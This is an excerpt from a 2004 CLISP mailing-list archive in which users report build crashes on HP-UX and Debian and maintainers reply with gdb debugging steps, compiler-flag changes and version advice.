0.6 DATE_IN_PAST_06_12 Date: is 6 to 12 hours before Received: date X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Problem compiling on hp-ux 11.11 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 24 07:32:09 2004 X-Original-Date: Mon, 24 May 2004 10:30:00 -0400 > * Nuzzo Art-CINT116 [2004-05-24 07:29:33 -0500]: > > I am having a problem compliling clisp-2.33 on hp-ux 11.11. > > It will get all the way to the point where it tries to run lisp.run > and then coredumps: > > chmod +w config.lisp > echo '(setq *clhs-root-default* " http://www.lisp.org/HyperSpec/")' >> config.lisp > ./lisp.run -B . -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit))" > make: *** [interpreted.mem] Bus error (core dumped) > > I am using gcc version 3.2. please try $ ./configure --with-debug --build build-g $ cd build-g $ gdb lisp.run (gdb) run -B . -E utf-8 -i init.lisp and report the backtrace. thanks. -- Sam Steingold (http://www.podval.org/~sds) running w2k Bus error -- please leave by the rear door. From sds@gnu.org Mon May 24 07:39:42 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BSGcA-00054m-F2 for clisp-list@lists.sourceforge.net; Mon, 24 May 2004 07:39:42 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BSGcA-00024o-DZ for clisp-list@lists.sourceforge.net; Mon, 24 May 2004 07:39:42 -0700 Received: from WINSTEINGOLDLAP ([10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i4OEdTpT007286; Mon, 24 May 2004 10:39:29 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Chris Hall Cc: Bruno Haible Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <874qq6asca.fsf@naia.homelinux.net> (Chris Hall's message of "Mon, 24 May 2004 03:05:09 -1000") References: <874qq6asca.fsf@naia.homelinux.net> Mail-Followup-To: clisp-list@lists.sourceforge.net, Chris Hall , Bruno Haible Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Build problem on Debian Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 24 07:40:09 2004 X-Original-Date: Mon, 24 May 2004 10:39:29 -0400 > * Chris Hall [2004-05-24 03:05:09 -1000]: > > I'm running Debian Woody, kernel 2.2.25 and have just spent waaaay too > many hours on a Sunday trying to build some version, any version, of > clisp. Did you try a binary distribution for Linux? I think a build for 2.4 will work for 2.2 as well. > I need to use regexes, and the default clisp install on Debian doesn't > seem to support them, when invoked either by 'clisp' *or* 'clisp -K > full' it doesn't show up in *features*. (BTW, the same goes for the > FreeBSD 4.9 clisp). If I try to use one of the functions, I get an > error. Please complain to the Debian and FreeBSD package maintainers. I agree that they should offer more modules by default. > So, I downloaded the latest source, libsigsegv, etc., followed > directions, and got a SIGSEGV error during the build (something about > 0x10a not in [...]). please try $ ./configure --with-debug --build build-g $ cd build-g $ gdb lisp.run (gdb) run -B . -E utf-8 -i init.lisp and report the backtrace. you might also try the CVS HEAD. Please also do $ gcc -o malloc unix/malloc.c $ for x in 1000000 100000 10000 1000; do ./malloc $x; done $ rm -f malloc and send the results here. thanks. -- Sam Steingold (http://www.podval.org/~sds) running w2k Programming is like sex: one mistake and you have to support it for a lifetime. From A.Nuzzo@motorola.com Mon May 24 08:17:03 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BSHCH-0003qu-Le for clisp-list@lists.sourceforge.net; Mon, 24 May 2004 08:17:01 -0700 Received: from motgate4.mot.com ([144.189.100.102]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BSHCH-00023P-3I for clisp-list@lists.sourceforge.net; Mon, 24 May 2004 08:17:01 -0700 Received: from az33exr01.mot.com (az33exr01.mot.com [10.64.251.231]) by motgate4.mot.com (Motorola/Motgate4) with ESMTP id i4OFGxYY000790 for ; Mon, 24 May 2004 08:16:59 -0700 (MST) Received: from il02exm10.corp.mot.com (il02exm10.corp.mot.com [10.0.111.21]) by az33exr01.mot.com (Motorola/az33exr01) with ESMTP id i4OFAVeS003913 for ; Mon, 24 May 2004 10:10:44 -0500 Received: by il02exm10 with Internet Mail Service (5.5.2657.72) id ; Mon, 24 May 2004 10:16:08 -0500 Message-ID: From: Nuzzo Art-CINT116 To: "'clisp-list@lists.sourceforge.net'" MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2657.72) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] RE: Problem compiling on hp-ux 11.11 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 24 08:18:01 2004 X-Original-Date: Mon, 24 May 2004 10:16:08 -0500 I did what you suggested. It appears to run until I get a CLISP prompt and I can (quit) and the program exits normally. I included the output below. Thanks for any help, Art artn@bs713> cd build-g artn@bs713> gdb lisp.run GNU gdb 5.3 Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "hppa2.0w-hp-hpux11.11"... Breakpoint 1 at 0x5a758: file eval.d, line 4799. Breakpoint 2 at 0x562f4: file eval.d, line 3900. Breakpoint 3 at 0x4fd74: file eval.d, line 2788. Breakpoint 4 at 0x5db64: file eval.d, line 5754. Breakpoint 5 at 0x2e640: file spvw_garcol.d, line 2657. warning: can't do that without a running program; try "break main", "run" first No breakpoint number 6. Breakpoint 6 at 0x331f8: file spvw.d, line 641. Breakpoint 7 at 0x27cf0: file spvw.d, line 485. Breakpoint 8 at 0x27db0: file spvw.d, line 496. Num Type Disp Enb Address What 1 breakpoint keep n 0x0005a758 in funcall at eval.d:4799 xout fun 2 breakpoint keep n 0x000562f4 in apply at eval.d:3900 xout fun 3 breakpoint keep n 0x0004fd74 in eval at eval.d:2788 xout form 4 breakpoint keep n 0x0005db64 in interpret_bytecode_ at eval.d:5754 ---Type to continue, or q to quit--- xout closure 5 breakpoint keep n 0x0002e640 in gar_col at spvw_garcol.d:2657 zbacktrace continue 6 breakpoint keep y 0x000331f8 in fehler_notreached at spvw.d:641 7 breakpoint keep y 0x00027cf0 in SP_ueber at spvw.d:485 8 breakpoint keep y 0x00027db0 in STACK_ueber at spvw.d:496 .gdbinit:139: Error in sourced command file: Function "sigsegv_handler_failed" not defined. (gdb) run -B . -E utf-8 -i init.lisp Starting program: /users/artn/clisp-2.33/build-g/lisp.run -B . -E utf-8 -i init.lisp STACK depth: 16367 WARNING: locale: no encoding ROMAN8, using UTF-8 WARNING: *FOREIGN-ENCODING*: reset to ASCII WARNING: locale: no encoding ROMAN8, using UTF-8 WARNING: *FOREIGN-ENCODING*: reset to ASCII i i i i i i i ooooo o ooooooo ooooo ooooo I I I I I I I 8 8 8 8 8 o 8 8 I \ `+' / I 8 8 8 8 8 8 \ `-+-' / 8 8 8 ooooo 8oooo `-__|__-' 8 8 8 8 8 | 8 o 8 8 o 8 8 ------+------ ooooo 8oooooo ooo8ooo ooooo 8 Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999-2000 Copyright (c) Sam Steingold, Bruno Haible 2001-2004 WARNING: No initialization file specified. Please try: /users/artn/clisp-2.33/build-g/lisp.run -M lispinit.mem ;; Loading file defseq.lisp ... ;; Loaded file defseq.lisp ;; Loading file backquote.lisp ... ;; Loaded file backquote.lisp ;; Loading file defmacro.lisp ... ;; Loaded file defmacro.lisp ;; Loading file macros1.lisp ... ;; Loaded file macros1.lisp ;; Loading file macros2.lisp ... ;; Loaded file macros2.lisp ;; Loading file defs1.lisp ... ;; Loaded file defs1.lisp ;; Loading file places.lisp ... ;; Loaded file places.lisp ;; Loading file floatprint.lisp ... ;; Loaded file floatprint.lisp ;; Loading file type.lisp ... ;; Loaded file type.lisp ;; Loading file defstruct.lisp ... ;; Loaded file defstruct.lisp ;; Loading file format.lisp ... (WARN "~a: redefining ~a ~s in ~a, was defined in ~a" "DEFUN/DEFMACRO" "function" FORMAT #P"/users/artn/clisp-2.33/src/format.lisp" "top-level") ;; Loaded file format.lisp ;; Loading file international.lisp ... ;; Loaded file international.lisp ;; Loading file /users/artn/clisp-2.33/build-g/room.lisp ... ;; Loaded file /users/artn/clisp-2.33/build-g/room.lisp ;; Loading file /users/artn/clisp-2.33/build-g/savemem.lisp ... ;; Loaded file /users/artn/clisp-2.33/build-g/savemem.lisp ;; Loading file /users/artn/clisp-2.33/build-g/trace.lisp ... ;; Loaded file /users/artn/clisp-2.33/build-g/trace.lisp ;; Loading file /users/artn/clisp-2.33/build-g/cmacros.lisp ... ;; Loaded file /users/artn/clisp-2.33/build-g/cmacros.lisp ;; Loading file /users/artn/clisp-2.33/build-g/compiler.lisp ... (WARN "~a: redefining ~a ~s in ~a, was defined in ~a" "DEFUN/DEFMACRO" "function" GLOBAL-IN-FENV-P #P"/users/artn/clisp-2.33/src/compiler.lisp" "top-level") (WARN "~a: redefining ~a ~s in ~a, was defined in ~a" "DEFUN/DEFMACRO" "macro" EVAL-WHEN-COMPILE #P"/users/artn/clisp-2.33/src/compiler.lisp" "top-level") ;; Loaded file /users/artn/clisp-2.33/build-g/compiler.lisp ;; Loading file /users/artn/clisp-2.33/build-g/defs2.lisp ... WARNING in COMPILED-FORM-1 : Function DISPATCH-READER is not defined WARNING in COMPILED-FORM-1 : Function DISPATCH-READER is not defined ;; Loaded file /users/artn/clisp-2.33/build-g/defs2.lisp ;; Loading file /users/artn/clisp-2.33/build-g/loop.lisp ... (WARN "~a: redefining ~a ~s in ~a, was defined in ~a" "DEFUN/DEFMACRO" "macro" LOOP #P"/users/artn/clisp-2.33/src/loop.lisp" #P"/users/artn/clisp-2.33/src/macros1.lisp") ;; Loaded file /users/artn/clisp-2.33/build-g/loop.lisp ;; Loading file /users/artn/clisp-2.33/build-g/clos.lisp ... (WARN "~a: redefining ~a ~s in ~a, was defined in ~a" "DEFUN/DEFMACRO" "function" DEFINE-STRUCTURE-CLASS #P"/users/artn/clisp-2.33/src/clos.lisp" #P"/users/artn/clisp-2.33/src/defstruct.lisp") (WARN "~a: redefining ~a ~s in ~a, was defined in ~a" "DEFUN/DEFMACRO" "function" DEFSTRUCT-REMOVE-PRINT-OBJECT-METHOD #P"/users/artn/clisp-2.33/src/clos.lisp" #P"/users/artn/clisp-2.33/src/defstruct.lisp") (WARN "~a: redefining ~a ~s in ~a, was defined in ~a" "DEFUN/DEFMACRO" "function" BUILT-IN-CLASS-P #P"/users/artn/clisp-2.33/src/clos.lisp" #P"/users/artn/clisp-2.33/src/type.lisp") WARNING in MAKE-INSTANCE-STANDARD-CLASS : Function INITIALIZE-INSTANCE-STANDARD-CLASS is not defined WARNING in MAKE-INSTANCE-STANDARD-CLASS : Function INITIALIZE-INSTANCE-STANDARD-CLASS is not defined WARNING in FINALIZE-INSTANCE-STANDARD-CLASS : Function CLASS-NAME is not defined WARNING in FINALIZE-INSTANCE-STANDARD-CLASS : Function STD-COMPUTE-CPL is not defined WARNING in FINALIZE-INSTANCE-STANDARD-CLASS : Function STD-COMPUTE-SUPERCLASSES is not defined WARNING in FINALIZE-INSTANCE-STANDARD-CLASS : Function STD-COMPUTE-SLOTS is not defined WARNING in FINALIZE-INSTANCE-STANDARD-CLASS : Function STD-LAYOUT-SLOTS is not defined WARNING in FINALIZE-INSTANCE-STANDARD-CLASS : Function PLIST-TO-ALIST is not defined (WARN "~a: redefining ~a ~s in ~a, was defined in ~a" "DEFUN/DEFMACRO" "function" SUBCLASSP #P"/users/artn/clisp-2.33/src/clos.lisp" #P"/users/artn/clisp-2.33/src/type.lisp") ;; Loaded file /users/artn/clisp-2.33/build-g/clos.lisp ;; Loading file /users/artn/clisp-2.33/build-g/disassem.lisp ... ;; Loaded file /users/artn/clisp-2.33/build-g/disassem.lisp ;; Loading file /users/artn/clisp-2.33/build-g/condition.lisp ... (WARN "~a: redefining ~a ~s in ~a, was defined in ~a" "DEFUN/DEFMACRO" "macro" CHECK-TYPE #P"/users/artn/clisp-2.33/src/condition.lisp" #P"/users/artn/clisp-2.33/src/macros2.lisp") (WARN "~a: redefining ~a ~s in ~a, was defined in ~a" "DEFUN/DEFMACRO" "macro" ASSERT #P"/users/artn/clisp-2.33/src/condition.lisp" #P"/users/artn/clisp-2.33/src/macros2.lisp") (WARN "~a: redefining ~a ~s in ~a, was defined in ~a" "DEFUN/DEFMACRO" "macro" ETYPECASE #P"/users/artn/clisp-2.33/src/condition.lisp" #P"/users/artn/clisp-2.33/src/macros2.lisp") (WARN "~a: redefining ~a ~s in ~a, was defined in ~a" "DEFUN/DEFMACRO" "macro" CTYPECASE #P"/users/artn/clisp-2.33/src/condition.lisp" #P"/users/artn/clisp-2.33/src/macros2.lisp") (WARN "~a: redefining ~a ~s in ~a, was defined in ~a" "DEFUN/DEFMACRO" "macro" ECASE #P"/users/artn/clisp-2.33/src/condition.lisp" #P"/users/artn/clisp-2.33/src/macros2.lisp") (WARN "~a: redefining ~a ~s in ~a, was defined in ~a" "DEFUN/DEFMACRO" "macro" CCASE #P"/users/artn/clisp-2.33/src/condition.lisp" #P"/users/artn/clisp-2.33/src/macros2.lisp") (WARN "~a: redefining ~a ~s in ~a, was defined in ~a" "DEFUN/DEFMACRO" "function" CERROR #P"/users/artn/clisp-2.33/src/condition.lisp" "top-level") (WARN "~a: redefining ~a ~s in ~a, was defined in ~a" "DEFUN/DEFMACRO" "function" WARN #P"/users/artn/clisp-2.33/src/condition.lisp" "top-level") ;; Loaded file /users/artn/clisp-2.33/build-g/condition.lisp ;; Loading file /users/artn/clisp-2.33/build-g/loadform.lisp ... ;; Loaded file /users/artn/clisp-2.33/build-g/loadform.lisp ;; Loading file /users/artn/clisp-2.33/build-g/gray.lisp ... ;; Loaded file /users/artn/clisp-2.33/build-g/gray.lisp ;; Loading file /users/artn/clisp-2.33/build-g/gstream.lisp ... ;; Loaded file /users/artn/clisp-2.33/build-g/gstream.lisp ;; Loading file /users/artn/clisp-2.33/build-g/xcharin.lisp ... ;; Loaded file /users/artn/clisp-2.33/build-g/xcharin.lisp ;; Loading file /users/artn/clisp-2.33/build-g/keyboard.lisp ... ;; Loaded file /users/artn/clisp-2.33/build-g/keyboard.lisp ;; Loading file /users/artn/clisp-2.33/build-g/screen.lisp ... ;; Loaded file /users/artn/clisp-2.33/build-g/screen.lisp ;; Loading file /users/artn/clisp-2.33/build-g/runprog.lisp ... ;; Loaded file /users/artn/clisp-2.33/build-g/runprog.lisp ;; Loading file /users/artn/clisp-2.33/build-g/query.lisp ... ;; Loaded file /users/artn/clisp-2.33/build-g/query.lisp ;; Loading file /users/artn/clisp-2.33/build-g/reploop.lisp ... ;; Loaded file /users/artn/clisp-2.33/build-g/reploop.lisp ;; Loading file /users/artn/clisp-2.33/build-g/dribble.lisp ... ;; Loaded file /users/artn/clisp-2.33/build-g/dribble.lisp ;; Loading file /users/artn/clisp-2.33/build-g/complete.lisp ... ;; Loaded file /users/artn/clisp-2.33/build-g/complete.lisp ;; Loading file /users/artn/clisp-2.33/build-g/pprint.lisp ... ;; Loaded file /users/artn/clisp-2.33/build-g/pprint.lisp ;; Loading file /users/artn/clisp-2.33/build-g/describe.lisp ... ;; Loaded file /users/artn/clisp-2.33/build-g/describe.lisp ;; Loading file /users/artn/clisp-2.33/build-g/edit.lisp ... ;; Loaded file /users/artn/clisp-2.33/build-g/edit.lisp ;; Loading file /users/artn/clisp-2.33/build-g/clhs.lisp ... ;; Loaded file /users/artn/clisp-2.33/build-g/clhs.lisp ;; Loading file /users/artn/clisp-2.33/build-g/inspect.lisp ... ;; Loaded file /users/artn/clisp-2.33/build-g/inspect.lisp ;; Loading file /users/artn/clisp-2.33/build-g/macros3.lisp ... ;; Loaded file /users/artn/clisp-2.33/build-g/macros3.lisp ;; Loading file /users/artn/clisp-2.33/build-g/foreign1.lisp ... WARNING: DEFUN/DEFMACRO: redefining function FINALIZE-COUTPUT-FILE in /users/artn/clisp-2.33/src/foreign1.lisp, was defined in /users/artn/clisp-2.33/src/compiler.lisp ;; Loaded file /users/artn/clisp-2.33/build-g/foreign1.lisp ;; Loading file /users/artn/clisp-2.33/build-g/deprecated.lisp ... ;; Loaded file /users/artn/clisp-2.33/build-g/deprecated.lisp ;; Loading file /users/artn/clisp-2.33/build-g/config.lisp ... WARNING: DEFUN/DEFMACRO: redefining function EDITOR-NAME in /users/artn/clisp-2.33/build-g/config.lisp, was defined in /users/artn/clisp-2.33/src/edit.lisp WARNING: DEFUN/DEFMACRO: redefining function EDIT-FILE in /users/artn/clisp-2.33/build-g/config.lisp, was defined in /users/artn/clisp-2.33/src/edit.lisp WARNING: DEFUN/DEFMACRO: redefining function EDITOR-TEMPFILE in /users/artn/clisp-2.33/build-g/config.lisp, was defined in /users/artn/clisp-2.33/src/edit.lisp ;; Loaded file /users/artn/clisp-2.33/build-g/config.lisp [1]> > -----Original Message----- > From: Sam Steingold [mailto:sds@gnu.org] > Sent: Monday, May 24, 2004 9:30 AM > To: clisp-list@lists.sourceforge.net; Nuzzo Art-CINT116 > Cc: Bruno Haible > Subject: Re: Problem compiling on hp-ux 11.11 > > > > * Nuzzo Art-CINT116 [2004-05-24 07:29:33 > > -0500]: > > > > I am having a problem compliling clisp-2.33 on hp-ux 11.11. > > > > It will get all the way to the point where it tries to run lisp.run > > and then coredumps: > > > > chmod +w config.lisp > > echo '(setq *clhs-root-default* " > > http://www.lisp.org/HyperSpec/")' >> config.lisp ./lisp.run -B . > > -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW -x "(and (load > \"init.lisp\") (sys::%saveinitmem) (ext::exit))" > > make: *** [interpreted.mem] Bus error (core dumped) > > > > I am using gcc version 3.2. > please try $ ./configure --with-debug --build build-g $ cd build-g $ gdb lisp.run (gdb) run -B . -E utf-8 -i init.lisp and report the backtrace. thanks. -- Sam Steingold (http://www.podval.org/~sds) running w2k Bus error -- please leave by the rear door. From sds@gnu.org Mon May 24 09:13:09 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BSI4b-0007S5-9q for clisp-list@lists.sourceforge.net; Mon, 24 May 2004 09:13:09 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BSI4a-0000e7-P5 for clisp-list@lists.sourceforge.net; Mon, 24 May 2004 09:13:08 -0700 Received: from WINSTEINGOLDLAP ([10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i4OGD0pT004332; Mon, 24 May 2004 12:13:00 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Nuzzo Art-CINT116 Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Nuzzo Art-CINT's message of "Mon, 24 May 2004 10:16:08 -0500") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Nuzzo Art-CINT116 Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Problem compiling on hp-ux 11.11 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 24 09:14:00 2004 X-Original-Date: Mon, 24 May 2004 12:13:00 -0400 > * Nuzzo Art-CINT116 [2004-05-24 10:16:08 -0500]: > > I did what you suggested. It appears to run until I get a CLISP > prompt and I can (quit) and the program exits normally. it appears that the "build-g" directory contains a complete successful build of CLISP. You can use it for now. Now, you reported that the normal non-debug build failed. Let us figure out what went wrong there. Please do $ ./configure --build build-O what error do you get? $ cd build-O $ gdb (gdb) run send us the backtrace. then edit build-O/Makefile and replace "-O2" in CFLAGS with -O1 (and if it also fails, with -O0). If that doesn't work either, add -DNO_GENERATIONAL_GC to CFLAGS. (remember to do "make clean" after you change CFLAGS) -- Sam Steingold (http://www.podval.org/~sds) running w2k Winword 6.0 UNinstall: Not enough disk space to uninstall WinWord From hall.cj@verizon.net Mon May 24 09:53:39 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BSIhm-00081R-MD for clisp-list@lists.sourceforge.net; Mon, 24 May 2004 09:53:38 -0700 Received: from out011pub.verizon.net ([206.46.170.135] helo=out011.verizon.net) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BSIhm-0001Yy-8t for clisp-list@lists.sourceforge.net; Mon, 24 May 2004 09:53:38 -0700 Received: from naia.homelinux.net ([4.64.145.131]) by out011.verizon.net (InterMail vM.5.01.06.06 201-253-122-130-106-20030910) with ESMTP id <20040524165337.WPRK18566.out011.verizon.net@naia.homelinux.net> for ; Mon, 24 May 2004 11:53:37 -0500 Received: from rocktiger by naia.homelinux.net with local (Exim 3.35 #1 (Debian)) id 1BSIhj-0002C1-00 for ; Mon, 24 May 2004 06:53:35 -1000 To: clisp-list@lists.sourceforge.net Message-ID: <20040524165335.GR12512@naia.homelinux.net> References: <874qq6asca.fsf@naia.homelinux.net> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="KRJ4yArSHF8vY7I3" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.28i From: Chris Hall X-Authentication-Info: Submitted using SMTP AUTH at out011.verizon.net from [4.64.145.131] at Mon, 24 May 2004 11:53:36 -0500 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Build problem on Debian Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 24 09:54:03 2004 X-Original-Date: Mon, 24 May 2004 06:53:35 -1000 --KRJ4yArSHF8vY7I3 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, May 24, 2004 at 10:39:29AM -0400, Sam Steingold wrote: > > * Chris Hall [2004-05-24 03:05:09 -1000]: > > > > I'm running Debian Woody, kernel 2.2.25 and have just spent waaaay too > > many hours on a Sunday trying to build some version, any version, of > > clisp. >=20 > Did you try a binary distribution for Linux? > > I think a build for 2.4 will work for 2.2 as well. Um, actually, no, I didn't even think of it - I just assumed that I needed to build it. Maybe an rpm, if I got one of the rpm-to-debian tools? Hmmm. >=20 > > I need to use regexes, and the default clisp install on Debian doesn't > > seem to support them, when invoked either by 'clisp' *or* 'clisp -K > > full' it doesn't show up in *features*. (BTW, the same goes for the > > FreeBSD 4.9 clisp). If I try to use one of the functions, I get an > > error. >=20 > Please complain to the Debian and FreeBSD package maintainers. > I agree that they should offer more modules by default. >=20 I know nothing about FreeBSD PORT system, but I *do* know that Debian could offer a config dialog from dselect, at least, and let people choose packages at install time, so maybe I *will* drop the Debian maintainer a line. The FreeBSD box is a friend's - I'll ask him to see what we needs to be done to prods those folks. > > So, I downloaded the latest source, libsigsegv, etc., followed > > directions, and got a SIGSEGV error during the build (something about > > 0x10a not in [...]). >=20 > > >=20 > please try >=20 > $ ./configure --with-debug --build build-g > $ cd build-g > $ gdb lisp.run > (gdb) run -B . -E utf-8 -i init.lisp >=20 > and report the backtrace. >=20 > you might also try the CVS HEAD. >=20 > Please also do > $ gcc -o malloc unix/malloc.c > $ for x in 1000000 100000 10000 1000; do ./malloc $x; done > $ rm -f malloc > and send the results here. >=20 > thanks. >=20 I'd be happy to do that if it gets to the point where lisp.run is available - would it be useful for you if I did? But at present it is the build itself that is blowing up somewhere along the line. I've managed to get 2.29 built and installed - I had to doctor the Makefile, details in a separate post. I can now (use-package "REGEXP"), and that is what I really needed and wanted. Thanks so much for your time, +Chris > --=20 > Sam Steingold (http://www.podval.org/~sds) running w2k > > > Programming is like sex: one mistake and you have to support it for a lif= etime. --=20 Good judgment comes from experience. Experience comes from bad judgment. - Jim Horning --KRJ4yArSHF8vY7I3 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQFAsiiPrZy455Pig6QRAo09AJ9J6UcNTuM8Pdd+g8BRHulXTsJ2MgCbBpKi vDET/L14CrOEbz/5iKZUyNI= =rpam -----END PGP SIGNATURE----- --KRJ4yArSHF8vY7I3-- From bruno@clisp.org Mon May 24 10:18:09 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BSJ5U-0004La-UR for clisp-list@lists.sourceforge.net; Mon, 24 May 2004 10:18:08 -0700 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BSJ5U-0004FW-CF for clisp-list@lists.sourceforge.net; Mon, 24 May 2004 10:18:08 -0700 Received: from laposte.ilog.fr (cerbere-qe0 [81.80.162.193]) by ftp.ilog.fr (8.12.11/8.12.11) with ESMTP id i4OHHu6V005981; Mon, 24 May 2004 19:17:56 +0200 (MET DST) Received: from skymaple.ilog.fr ([172.16.15.122]) by laposte.ilog.fr (8.12.11/8.12.11) with ESMTP id i4OHHlsj026473; Mon, 24 May 2004 19:17:50 +0200 (MET DST) Received: from localhost (localhost [127.0.0.1]) by skymaple.ilog.fr (Postfix) with ESMTP id E1824178AC; Mon, 24 May 2004 17:09:34 +0000 (UTC) From: Bruno Haible To: clisp-list@lists.sourceforge.net, Sam Steingold , Chris Hall User-Agent: KMail/1.5 References: <874qq6asca.fsf@naia.homelinux.net> In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200405241909.33614.bruno@clisp.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Build problem on Debian Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 24 10:19:01 2004 X-Original-Date: Mon, 24 May 2004 19:09:33 +0200 Chris Hall wrote: > Next I downloaded 2.29 The 2.33 is the most robust and stable release we've seen in 3 years. I wouldn't bother trying to build 2.29, except for a museum of clisp versions. > /usr/bin/install: cannot stat `clisp-link': No such file or directory > /usr/bin/install: cannot stat `linkkit/modules.d': No such file or directory > /usr/bin/install: cannot stat `linkkit/modules.c': No such file or directory > /usr/bin/install: cannot stat `linkkit/clisp.h': No such file or directory > /usr/bin/install: cannot stat `base/*': No 